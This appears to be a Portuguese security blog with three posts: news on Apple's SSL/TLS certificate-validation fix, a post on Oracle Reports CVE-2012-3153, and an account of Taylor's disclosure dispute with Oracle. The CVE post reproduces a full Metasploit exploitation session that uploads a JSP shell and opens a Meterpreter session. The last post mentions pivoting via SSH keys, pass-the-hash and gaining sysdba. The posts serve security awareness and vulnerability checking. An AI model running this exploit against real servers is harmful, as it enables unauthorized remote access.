terça-feira, 25 de fevereiro de 2014

Apple - SSL/TLS Bug Fixed #InfoSec

OBS: Primeiro paragrafo é um agradecimento, quer ir direto para o assunto, pule e leia o Segundo paragrafo.

Não sou de ficar com blá blá blá nas minhas postagens, mas agradeço muito a força da Brasil Pentest por ter divulgado minha page no facebook, duvido muito que vocês não conheçam mas, caso não, o site é brasilpentest.com dê uma visitada que os conteúdos são ótimos! E outra pessoa a quem quero os agradecer, é você, leitor, que o acompanha ( e espero que continue ) e os novos convidados pela Brasil Pentest, se você já leu outras postagens minhas sabe que está é a única melosa e fiquei enrolando pra começar o que eu realmente tenho que postar. Antes de começar quero deixar claro que minha demora de postagem é meu tempo e que estou escrevendo um Paper, não vou falar sobre o que é, mas acho que vai ajudar muito vocês, principalmente os programadores que segue a ideia Ethical Hacking, agora se for é 'kiddie', sinto muito. Mas beleza, se está lendo a culpa não é minha, só bastava pular este paragrafo. :)


Fiquei uns tempos sem postar nada, mas eu fiquei ligado nos assuntos rapazes, vi hoje de tarde afirmando que o BUG da Apple foi fixed, corrigida. Tecnicamente, a falha foi descoberta no iOS, lançada na sexta feira passada a versão 7.06 (Suporte Apple Security) que era para corrigir a falha de segurança MITM (Man-In-The-Middle). Se já conhece o conceito desta falha, saberá que é referente à uma falha onde o atacante consegue interceptar o dado e fazer aquilo que está ao seu alcance, certo? É exatamente isto, a falha permite o atacante dentro da rede de seu alvo não apenas ler os dados de sessões privilegiadas e protegidas por SSL/TLS, mas como bônus de alterar-los também. O que surpreende é que pós fazer aquela análise toda no patch, foi confirmado que a falha afeta também o Mac OS-X até a versão 10.9.1.

Adam Langley, foi quem averiguou o script e detectou a brecha. Segundo suas palavras a falha reside em um par de falhas em uma fileira.

"Esta verificação de assinatura está verificando a assinatura em uma mensagem ServerKeyExchange. Isso é usado em ciphersuites DHE e ECDHE para comunicar a chave efêmera para a conexão. O servidor está dizendo 'aqui está a chave efêmera e aqui é uma assinatura, do meu certificado, então você sabe que é de mim"
"Agora, se a ligação entre a chave efêmera e a cadeia do certificado está quebrada, então tudo se desmorona. É possível enviar uma cadeia de certificado correto para o cliente, mas assinar o aperto de mão com a chave privada errada, ou não assiná-lo em tudo! Não há nenhuma prova de que o servidor possui a chave privada correspondente a chave pública no seu certificado". Langley ainda afirma mostrar aos usuários Mac OS X, se suas máquinas estão realmente vulneráveis.

"Porque a cadeia do certificado está correta e é o link a partir do aperto de mão para essa corrente que está quebrado, não acredito que qualquer tipo de fixação de certificado impediria isso. Também, isto não só afeta sites usando DHE ou ECDHE ciphersuites – o atacante pode escolher a ciphersuite neste caso e escolherá o que funciona para eles", disse de Langley.


Houve também suposta confirmação dos Security Professional CrowdStrike que também analisaram o script, diz que a falha é provável em qualquer site protegidos por SSL ou serviços webmail.

Devido a uma falha na lógica de autenticação nas plataformas dos X e iOS, um invasor pode contornar as rotinas de verificação de SSL/TLS sobre o handshake de conexão inicial. Isso permite que um adversário disfarçar-se como provenientes de um ponto de extremidade remoto confiável, tais como seu provedor de webmail favorito e executar completa intercepção de tráfego criptografado entre você e o servidor de destino, bem como dar-lhes uma capacidade para modificar os dados de vôo (tais como entregar façanhas para assumir o controle do seu sistema)", afirma o grupo CrowdStrike.

Agora a boa notícia aos usuários da Apple, é que hoje foi lançado a atualização que corrige a falha de validação de certificado no seu sistema OS X Mavericks, versão 10.9.2
Levantando ao fato de que a validação de certificado não é a correção de segurança único emitida pela Apple hoje, que é conhecida por publicar atualizações de segurança longa e pedante. Outras atualizações incluem correções para:


  • um número de vulnerabilidades de Apache; 
  • um problema de corrupção de memória relacionado com a manipulação de fontes type 1; 
  • alguns aplicativos de areia ignora; 
  • o sistema de certificados de raiz;
  • um estouro de buffer que poderia permitir execução de código arbitrário em CoreAnimation; 
  • um problema de sinal na manipulação do CoreText de fontes unicode que poderia levar à execução de código arbitrário ou encerramento inesperado do aplicativo;
  • uma interceptação de credencial para alguém usando curl para se conectar a uma URL HTTPS que contém um endereço IP; 
  • um bug que poderia permitir que um invasor assuma o controle do relógio do sistema; 
  • um problema no finder que poderia permitir acesso não autorizado a determinados arquivos; 
  • um problema de vazamento de memória estimulado pelas JPEGs criados maliciosamente; 
  • um problema com os drivers da NVIDIA através do qual a execução de um aplicativo malicioso pode resultar na execução de código arbitrário dentro da placa de vídeo; 
  • múltiplas vulnerabilidades PHP; 
  • um bug livre duplo que existiam em QuickLook que poderia ser explorada para ocasionar um encerramento inesperado do aplicativo ou a execução arbitrária de código se um invasor dowloaded um documento do Microsoft Word criado maliciosamente; 
  • um punhado de bugs do QuickTime que poderia levar ao encerramento do aplicativo ou a execução de código arbitrário; 
  • e um montão de problemas que afetam os usuários que ainda não atualizou para a mais recente iteração de Mavericks dos X.
Para todo o entendimento, pode-se conferir aqui: http://support.apple.com/kb/HT6150

domingo, 16 de fevereiro de 2014

[CVE-2012-3153] Verifique se seu Oracle está vulnerável #InfoSec

Eae Geeks, tenho alguns artigos como rascunho e preciso terminar-lo, alguns são tão antigos que nem vou postar-los mais. Mas enfim, esta postagem será à respeito da Vulnerabilidades em Oracle Server, na qual foi assunto da postagem anterior.


A partir deste interessante tweet, decidi compartilhar-lo no meu blog também. O link do tweet o levará à postagem original.

Dana Taylor, a mesma quem reportou a crítica falha do servidor Oracle, fez uma interessante postagem mostrando como verificar se esta falha afeta no seu Oracle. Para isso foi usado um módulo do Metasploit.
Referência: https://github.com/rapid7/metasploit-framework/pull/2931

Resultado da ação:

msf > use exploit/multi/http/oracle2
msf exploit(oracle2) > set RHOST xp
RHOST => xp
msf exploit(oracle2) > set RPORT 8889
RPORT => 8889
msf exploit(oracle2) > set TARGET 1
TARGET => 1
msf exploit(oracle2) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(oracle2) > check
[+] xp:8889 – Windows install detected
[*] xp:8889 – Path: DevSuiteHome_1/reports/j2ee/reports_ids/web
[+] xp:8889 – URLPARAMETER is vulnerable
[*] xp:8889 – The target appears to be vulnerable.
msf exploit(oracle2) > exploit
[*] xp:8889 – Querying showenv!
[*] Started bind handler
[+] xp:8889 – Query succeeded!
[*] xp:8889 – Windows install detected
[*] xp:8889 – Path: DevSuiteHome_1/reports/j2ee/reports_ids/web
[*] xp:8889 – Hosting payload locally …
[*] Using URL: http://0.0.0.0:8080/E7cCTp
[*] Local IP: http://192.168.1.91:8080/E7cCTp
[*] Server started.
[*] xp:8889 – Building JSP shell …
[*] xp:8889 – Adjusting shell due to payload size
[*] xp:8889 – Uploading payload …
[+] xp:8889 – Payload hopefully uploaded!
[*] xp:8889 – Our payload is at: /reports/images/kCHVUBiBzflwILK.jsp
[*] xp:8889 – Executing payload…
[+] xp:8889 – Payload executed!
[*] Sending stage (769024 bytes) to xp
[*] Meterpreter session 1 opened (192.168.1.91:53796 -> 192.168.1.102:4444) at 2014-02-16 12:22:22 -0500
[*] Server stopped.
meterpreter > getuid
Server username: XP\IEUser

Entre na URL na qual foi testada para averiguar a falha, neste caso...
http://xp:8889/reports/rwservlet/showjobs

Atrávez do 'showjobs', será mostrado as últimas 1000 ações realizadas (Clique na imagem para melhor visualização):

Analisou bem a imagem? Note que o OutputName do JobID 133, perceba que é a mesma URL mostrada pelo Metasploit na ação de upload do payload. Vendo mais afundo, observe as seguintes IDs 132 e 133:

http://xp:8889/reports/rwservlet/getjobid132

http://xp:8889/reports/rwservlet/getjobid133


No ID 132, significa que está sendo checado se o URLPARAMETER está vulnerável, caso esteja, será feito o upload do PAYLOAD ( neste caso, é o que mostra o Get Job ID 133). Então já sabe, se isto apareceu para você significa que sua database está vulnerável.

domingo, 2 de fevereiro de 2014

Vulnerabilidades em Oracle Server


Há mais de 2 anos foi afirmado duas críticas vulnerabilidades contidas no servidor Oracle. Falhas que afetam pacotes antigos do Banco de Dados do Oracle, que libera ao atacante acessar remotamente um mecanismo de autenticação passando pelo servidor. Se o atacante explorar bem as falhas o atacante consegue navegar tranquilamente no sistema de todos os arquivos do servidor.
Mesmo a falha tendo sido passada para que possam ser fixados, não tomaram nenhuma providência quanto à isto. Dana Taylor reportou uma falha na autenticação que afeta o Oracle Form e os Reports 10g e 11g. Nesta falha, sem autenticação, dará ao atacante a total passagem para que possa conseguir a lista de senhas da DB, essa possibilidade de acesso também inclui na antiga falha. À respeito destas graves falhas sendo capaz de ser afetado também pela falha antiga o que a Oracle afirma é ter ocorrido algum erro de configuração. Agora com esta nova falha, ainda mais grave permitindo bem mais privilégios, na qual permite visualizar e copiar o sistema de arquivos do servidor, qualquer arquivo que a Oracle conta pode acessar e executar outras operações no servidor e rede de despejo. Também neste caso o pesquisador informou que a falha para Oracle, que mais uma vez rejeitado é como um erro de configuração.

"Como você pediu, revimos seu relatório original e teve discussões adicionais com nosso grupo de desenvolvimento. Concluímos que esta questão de fato constituem uma vulnerabilidade," - Responde Oracle

Quando de fato, Taylor disse que iria divulgar as falhas, Oracle finalmente aceitou possuir uma falha e dentro de menos de 1 ano, lançaram uma atualização, porém... ainda não corrige as vulnerabilidades.


"Sim, absolutamente. Quando eu relatei a vulnerabilidade analisada consulta disseram que não era uma vulnerabilidade, mas um erro de configuração. Então contei-lhes tudo bem, então eu vou publicar isso. Eles voltaram no mesmo dia e afirmarando que na verdade, 'é uma vulnerabilidade' e me deu um número de rastreamento. Do que eu posso dizer, eles realmente não corrigiram esta vulnerabilidade mas é ofuscado, instruindo os clientes para desativar "saída de diagnóstico". Eu testei isso em seu mais recente lançamento de relatórios Weblogic/Oracle 11g. A vulnerabilidade existe ainda. Alguns clientes podem não ser capazes de desabilitar a saída de diagnóstico para uma razão ou outra e ainda podem estar vulneráveis. E para esclarecer, isso não afeta apenas 11g mas 9i para 11g," - disse Dana Taylor.

Atualização lançada, patch 11.x propondo soluções alternativas simples para versões mais antigas, sugerindo que clientes atualizar para versões mais recentes, a fim de se protegerem. Logo após que Taylor publicou um POC sobre as vulnerabilidades outros especialistas de segurança focado seus esforços para demonstrar as repercussões para os aproveitamentos das falhas, o pesquisador mencionou alguém que lhe enviou um vídeo que mostra um ataque usando baseia o utilizado de Shodan motor de busca para encontrar servidores vulneráveis e recuperar senhas.


"O autor do exploit e vídeo acima foi brilhante, mas ele me colocou em estado de choque ao ver o real impacto dessas vulnerabilidades em tão grande escala. Eu não queria liberar esses exploits e estava sob grande aflição em pensar nisso. Eu senti que eu não tive escolha, no entanto. Para "ver este vídeo não colocou um sorriso na minha cara mas me fez ciente de quão devastador essas vulnerabilidades são na verdade servidores Oracle frequentemente possuem chaves SSH que permitam o compartilhamento de dados entre outros servidores Oracle confiáveis e não exigem nenhuma senha. Então, se você quebrar em um servidor Oracle em uma rede é provável capaz de quebrar em inúmeros outros. Para Windows servidores explorando 'passar os ataques hash' estão sendo discutidos. Outra coisa que é assustador é que, uma vez que você ganhar um shell remoto em um servidor Oracle você pode usar sqlplus.sh /nolog para obter privilégios sysdba para o banco de dados." - Taylor.